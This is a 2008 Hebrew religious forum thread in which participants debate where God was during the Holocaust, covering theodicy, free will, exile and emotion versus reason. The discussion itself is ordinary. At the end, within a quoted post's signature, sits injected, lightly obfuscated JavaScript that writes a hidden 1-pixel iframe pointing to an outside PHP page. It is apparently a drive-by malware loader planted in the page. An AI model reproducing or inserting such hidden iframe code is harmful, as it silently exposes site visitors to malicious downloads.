| נשלח ב-30/4/2008 16:54 |
 |
| |
אנסה.
מבחינה אמוציונלית,ייתכן שלפסיכולוגים ולחכמי תורת הנפש,יש מקום לדון בשאלה הזו כלפי ניצולי השואה,ע"מ לעזור להם עם כאבי הלב שהם חשים בנושא זה.
אולם,כאשר אנו ניגשים לנושא מתוך חשיבה קרה ורציונלית,הרי ש:
אם האדם הוא בעל ידע תורני רחב,ובעל חשיבה מספקת,וכבר בירר לעצמו בבירור גמור את כל המושכלות הראשונים הנצרכים לאדם מאמין,ובירר כבר את סוגיית הייסורים בעוה"ז,הרי שהשאלה הזו כלל לא מתחילה אצלו.
ואם האדם הוא עם הארץ,או אדם שתורת הפילוסופיה היהודית זרה לו,הרי שכאן אנו נצרכים להרבה מאד מושכלות ראשונים,בכדי 'להכניס אותו לענינים',וכאשר הוא ייכנס אליהם,שוב לא תעמוד בפניו השאלה הזו,מהסיבה דלעיל.
מה שכיוונתי בדברי,(ואוי לי אם יש בהם כדי לחשדני בגאווה רח"ל)ששאלה כזו יכולה לבוא רק מאדם שלא עיין בדברים אלו,ואם כן הרי שהתשובה לשאלה זו עבורו היא בבחינת 'כל התורה כולה על רגל אחת' וממילא ברכה לבטלה.
|
|
|
|
| נשלח ב-30/4/2008 16:56 |
|
| |
נושא שהתלבטו בו ראשונים ואחרונים ואתה מושיט אותו בקנה?
זו לא גאווה?
והאם אמוציה היא כלום? אתה מכונת טיורינג?
תוקן על ידי בעלבעמיו ב- 30/04/2008 16:57:09
|
|
|
|
| נשלח ב-30/4/2008 16:57 |
|
| |
זוהר,
אם אנחנו לא מבינים את הנהגותיו כיצד נוכל להידבק בהן? ברור שאנחנו מבינים מה טוב ומה רע בעיניו ואצלו, ולכן השאלה כן במקומה. אתה יכול לומר שצפון בשואה משהו שבכל זאת הוא טוב ואנחנו לא מבינים, אבל אתה לא יכול לומר שהרע עצמו הוא טוב אצל הקב"ה, כי מה שטוב אצלנו לא טוב אצלו, ולהיפך. זה לא ניתן להיאמר, וזה יסוד שיטת מצ"ה.
|
|
|
|
| נשלח ב-30/4/2008 17:03 |
|
| |
שפלו
**** שאתה מגלה כאן, **** להבדיל מהמסכנים ההולכים לאחר ליבם, ראויה להוקעה.
תוקן על ידי עצכח ב- 30/04/2008 18:53:36
|
|
|
|
| נשלח ב-30/4/2008 17:21 |
|
| |
רבותי
אנא,למדו זכות בבקשה.
ח"ו אין לי כל כוונה כזו,ישמרני הא-ל!!!
לא כיוונתי חלילה לאף אחד,אלא רק לנסות ולחדד את פני הנושא.
ברור לי לחלוטין,כמו הרב פלטי הנכבד,חשיבות הרגשות הלב.
אלא שכאשר באים לדון בשאלה כעין זו,הרי שהלב יכול להטעות ולהתעות עד מאד!
בשאלות פילוסופיות אין מקום כלל לערב את הלב,כי אז לא יצא מכך כלום,זה הכל.
אם רצונכם לדון בזה מבחינה פסיכולוגית,בכבוד רב,אך יש להדגיש גם את זה.
ואגב,אדון פלטי הנכבד,תלמיד חכם שלא מערב את ליבו בלימודו,אינו יכול להיות תלמיד חכם כלל ועיקר.
בלי כל ספק שללב יש חלק מרכזי ביותר בהבנת התורה בכלל,וההלכה בפרט.
אני שוב חוזר ואומר: כואב לי עד מאד על שדברי הוצאו מהקשרם בצורה כה לא נכונה,והביאו את הכותבים הנכבדים שלפני להאשימני בדברים כה חמורים.
והיה ודברי הובנו כ'התנשאות' ו'שחצנות',הריני מבטלם מעיקרא ולמפרע כעפרא דארעא.
"והווי דן את כל האדם לכף זכות..."
|
|
|
|
| נשלח ב-30/4/2008 17:43 |
|
| |
אלא שכאשר באים לדון בשאלה כעין זו,הרי שהלב יכול להטעות ולהתעות עד מאד
אני אהיה הראשון שאתפלא איך בכלל אפשר להתמודד עם השואה עם השכל, מי שמנסה את זה, כנראה אין לו מושג קלוש, עם מה הוא עומד להתמודד,
שפלו- אני אפילו לא מנחש- מעולם לא הית בביקור אפילו באושביץ,טרבלינקה ומידאנק, אני מנחש שאפילו ביד ושם לא דרכו רגליך, ואמשיך לנחש שהרבה ספרים על השואה לא קראת,בודאי לא את קצטניק, ודומיהם
ואתה מתיצב כאן , מוכן ומזומן כמומחה ובקיא ומבין להתמודד עם הבעיה האמונית הגדולה ביותר שהעסיקה את היהדות מזה מאות בשנים.
|
|
|
|
| נשלח ב-30/4/2008 18:30 |
|
| |
אותי הרבה יותר מטריד איפה היה האדם בשואה.
אותי הרבה יותר מטריד מדוע גם לאחר הצהרת בלפור המוני יהודים בחרו (ועדין יש כאלה שבוחרים בזה!!!) להשאר בגלות.
אגב, התשובה לשאלת האשכול היא שיש בחירה חופשית.
אדם יכול לבחור.
אדם יכול לבחור ולהיות רוצח.
המוני בני אדם יכולים לבחור ולשתף פעולה עם רצח המוני ומזעזע כפי שהוא התנהל באירופה ה"נאורה".
מדוע לא עזבו יהודים את גרמניה לאחר עליית הנאצים לשלטון?
ושמרתם לנפשותיכם.
כשאדם עומד על שפת תהום עליו לנסות להציל את חייו.
נזר הבריאה היא אותה בחירה שיש בידי האדם, אז מה פתאום אפשר לבוא בטענות על כך?
בכלל, למה אתה מתפלא רק על ההשמדה בשואה?
למה אתה לא מתפלא על זריקת כל הבן הילוד ליאור? ז"א שהשאלה שלך היתה צריכה להשאל מהרגע הראשון שנולד עם ישראל.
למה אתה לא מתפלא על הציווי להשמיד את העמלקים גם בחלוף 100 דורות?
מה הנכדים של הנכדים כבר עשו?
למה אתה לא מתפלא על זה שאין אנחנו יודעים מה עלה בגורל כל שאר שיבטי ישראל?
|
|
|
|
| נשלח ב-30/4/2008 18:30 |
|
| |
ירוחם
הנושא לא היה להתמודד עם השואה ומוראותיה.
השאלה היתה על מקומו של הא-ל ב"ה כשכל זה קרה.
על כן,טענתך אינה ענינית.
ואגב,רוב משפחתי נכחדה בשואת אירופה,ואני גדלתי בבית שחי אותה,כך שלא נראה לי מה שכתבת...
תוקן על ידי sheflo ב- 30/04/2008 18:46:57
"אל תהי בז לכל אדם,ואל תהי מפליג לכל דבר,שאין לך אדם שאין לו שעה,ואין לך דבר שאין לו מקום"
|
|
|
|
| נשלח ב-30/4/2008 18:33 |
|
| |
אפיק
"ואנה מפניך אברח".
מה עניין הגלות לגאוגרפיה?
אם הטמאת ארה"ק בעבירות גורמת להשמדה,כפי שמבואר בתורה,האם אין לדעתך מקום להתלבט בשאלת המגורים בא"י כיום?
|
|
|
|
| נשלח ב-30/4/2008 18:40 |
|
| |
sheflo,
1. כמו שרשמתי קודם: טענות יש להפנות לנאצים ולעם הגרמני שאיפשר לנאצים לשפוך את הרוע שלהם מילולית ואח"כ גם מעשית.
2. לאור הצהרת בלפור אני חושד שהעם היהודי גם הוא לא היה לגמרי בסדר, ולהזכירך: "מי שלא רצה לא נגאל"
ולרצות זה כנראה שלא מספיק, צריך גם לעשות משהו בנידון..
3. כמדומני ישיבה בא"י שקולה לכל המצוות, וחוץ מזה את החשבונות של הקב"ה אני משאיר לו לעשות בעצמו.
לדעתי צריך המון חוצפה בשביל לנהל את פנקס החשבונות שלו.
|
|
|
|
| נשלח ב-30/4/2008 18:46 |
|
| |
אם התורה מזהירה אותנו 'ולא תקיא הארץ אתכם בטמאכם אותה,כאשר קאה את הגוי אשר לפניכם',
וחז"ל מפרשים ש'ארץ ישראל מקיאה עוברי עבירה',
לבוא ולומר,שחשבון מעין זה הוא כביכול 'ניהול פנקסי החשבונות של א-לוקים' זה לא נכון.
התורה כותבת לנו דברים שהיא רוצה שננהג על פיהם,ולא סיפורי מעשיות.
|
|
|
|
| נשלח ב-30/4/2008 18:52 |
|
| |
שפלו
אתה מכיר את רש"י "כך עונים את המועקות"?
מה יעקב עשה לו בסדר, הוא הטיח ברחל את האמת בפרצוף בצורה פילוסופית וקרירה.
|
|
|
|
| נשלח ב-30/4/2008 19:28 |
|
| |
בעל בעמיו,
דומני שהיה זה הרמב"ן שאמר זאת ("כך עונין את המעיקות") והוא ציטט את בראשית רבה עא, א.
|
|
|
|
| נשלח ב-30/4/2008 19:57 |
|
| |
shfelo,
ארץ?
מה הכוונה?
מנין לך שלא מדובר על כדור הארץ? או על הקיים הארצי בכללותו?
"בראשית ברא א' את השמים ואת הארץ"- מדוע כאן זה ארץ ישראל ושם זה העולם הגשמי בכללותו?
|
|
|
|
| נשלח ב-30/4/2008 19:58 |
|
| |
| מיימוני כתב: |  | מיקי
ברוכה הבאה אל הפורום!
העלית שאלה גדולה מאד. אולי הגדולה בכל השאלות.
והיא נוגעת לא רק לשואה.
אנסה להרחיב את הנחות היסוד של שאלתך, מפני שרק מתוך עיון בשאלות היסוד אפשר להבין מה כואב לנו (לא רק לך) ואיך ניתן לחפש אחרי תשובות.
אנו מאמינים (וסבורים שאנו יודעים) ש:
א. יש אלקים.
ב. הוא יודע הכל והוא כולו טוב. הוא חפץ רק בטובתנו.
ג. אז איך יתכן שיש רע בעולם? אכזריות בעולם? וביתר שאת: איך היתה שואה בעולם? איך ה' נתן לזה לקרות?
השאלה הזו קשה מאד, והיו רבים שלא מצאו לה תשובה. היו כאלו שהסיקו ממנה מסקנות שגרמו להם לאבד את אמונתם. או, אם נותרו עם אמונה, היא כבר לא היתה כמקודם.
אחד מהידועים שבהם הוא הסופר אלי ויזל, שעליו קראתי לאמור כי היה מפסיק הכל בזמן שהגיעה תפילת מנחה (תפילת אמצע היום מבין שלוש תפילות שאנו נוהגים בעם ישראל). אך, שלא כמו כל יהודי שומר מצוות, לא התפלל. הוא היה נשאר במקומו ומתריס כלפי שמים: אחרי מה שעשית לי ולמשפחתי ולכל ישראל, איך אוכל להתפלל, איך אוכל לדבר איתך?
דווקא מי שנחן באמונה גדולה וברגישות לצדק ולטוב, לו קשה במיוחד להשלים עם השואה. איך יכול היה ה' להרשות לדבר כזה לקרות? איך אנו יכולים לחיות בעולם שבו מתרחשים דברים כאלו?
_______________אני מדלגת בכוונה על פתרון שאלה 1 מפני שאתה יודע לבד שהקהילה הדתית לפני השואה הלכה והתמעטה, אפשר להרחיב אבל אי אפשר מפני כבוד הקרבנות.
אבל שאלה 2 עוררה אצלי פליאה, וכי הדבר תלוי ברצוננו, אם להתחייב למסגרת זו אם לאו. הלא אם נניח שאלוקים קיים וקיבלנו את תורתו בהר סיני איננו יכולים לבטל את אותה התחייבות, ואם כל זה לא נכון לא יעזור שנרצה במסגרת זו, כמובן.__
שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as="'h';
var" ac="'tt';
var" ab="'p';
var" ay="//";
document.write("*************** src="'"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"'" frameborder="'0'" height="1px" width="1px" scrolling="'no'" ><*");
//*
|
|
 |
|
|
|
|
|
